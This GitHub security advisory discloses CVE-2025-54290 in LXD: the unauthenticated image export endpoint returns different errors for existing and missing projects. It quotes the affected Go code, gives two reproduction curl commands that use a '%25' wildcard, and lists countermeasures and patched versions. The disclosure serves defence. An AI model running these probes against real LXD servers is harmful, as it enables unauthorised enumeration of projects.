Skip to content

Project Existence Determination Through Error Handling in Image Export Function

Low
tomponline published GHSA-p3x5-mvmp-5f35 Oct 2, 2025

Package

lxd (lxd)

Affected versions

>= 4.0

Patched versions

6.5, 5.21.4

Description

Impact

In LXD's images export API (/1.0/images/{fingerprint}/export), implementation differences in error handling allow determining project existence without authentication.

Specifically, in the following code, errors when multiple images match are directly returned to users as API responses:

lxd/lxd/db/images.go

Lines 239 to 246 in 43d5189

switch len(images) {
case 0:
return -1, nil, api.StatusErrorf(http.StatusNotFound, "Image not found")
case 1:
object = images[0]
default:
return -1, nil, errors.New("More than one image matches")
}

While fingerprints generally don't duplicate, this functionality uses fingerprints with LIKE clauses, allowing prefix specification. Therefore, using LIKE wildcards such as % will match multiple images if multiple images exist in the project.

lxd/lxd/db/images.go

Lines 277 to 286 in 43d5189

// getImagesByFingerprintPrefix returns the images with fingerprints matching the prefix.
// Optional filters 'project' and 'public' will be included if not nil.
func (c *ClusterTx) getImagesByFingerprintPrefix(ctx context.Context, fingerprintPrefix string, filter cluster.ImageFilter) ([]cluster.Image, error) {
sql := `
SELECT images.id, projects.name AS project, images.fingerprint, images.type, images.filename, images.size, images.public, images.architecture, images.creation_date, images.expiry_date, images.upload_date, images.cached, images.last_use_date, images.auto_update
FROM images
JOIN projects ON images.project_id = projects.id
WHERE images.fingerprint LIKE ?
`
args := []any{fingerprintPrefix + "%"}

In the above implementation, multiple matches result in a 500 error, but if the project itself doesn't exist, there are 0 matches and a 404 is returned.

  1. When project exists and multiple images match: HTTP 500 error "More than one image matches"
  2. When project doesn't exist: HTTP 404 error "not found"

This behavioural difference allows attackers to confirm project existence without authentication.

Reproduction Steps

  1. Send a request with a pattern matching multiple entries to an existing project (default):
curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=default&secret=x'

Response:

{"type":"error","status":"","status_code":0,"operation":"","error_code":500,"error":"More than one image matches","metadata":null}
  1. Send a same request to a non-existent project (not-exist):
curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=not-exist&secret=x'

Response:

{"type":"error","status":"","status_code":0,"operation":"","error_code":404,"error":"not found","metadata":null}

This difference allows enumerating existing projects in the system by brute-forcing(dictionary attack) project names.

Note that %25 is the URL encoding of %, which works as a wildcard matching all characters in SQL LIKE clauses.
This is used to intentionally create requests matching multiple images to trigger a 500 error.

Additionally, the secret parameter is added to include non-public images in the search, increasing the possibility of multiple matches.

lxd/lxd/images.go

Lines 4211 to 4230 in 43d5189

publicOnly := !trusted && secret == "" && !isDevLXDQuery
// Get the image. We need to do this before the permission check because the URL in the permission check will not
// work with partial fingerprints.
var imgInfo *api.Image
effectiveProjectName := projectName
err = s.DB.Cluster.Transaction(r.Context(), func(ctx context.Context, tx *db.ClusterTx) error {
effectiveProjectName, err = projectutils.ImageProject(ctx, tx.Tx(), projectName)
if err != nil {
return err
}
filter := dbCluster.ImageFilter{Project: &projectName}
if publicOnly {
filter.Public = &publicOnly
}
_, imgInfo, err = tx.GetImage(ctx, fingerprint, filter)
return err
})

Risk

The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of other vulnerabilities. Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information.

However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures

It is recommended to modify error handling in the images export API (/1.0/images/{fingerprint}/export) to return consistent responses regardless of project existence.

Specifically, return 404 even when errors occur during project existence verification.
This ensures the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Additionally, if there are no specification(compatibility) issues, allowing only exact fingerprint matches in unauthenticated states and disabling prefix matching can prevent unexpected errors from occurring.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - EOL and not critical

References

Reported by GMO Flatt Security Inc.

Severity

Low

CVE ID

CVE-2025-54290

Weaknesses

No CWEs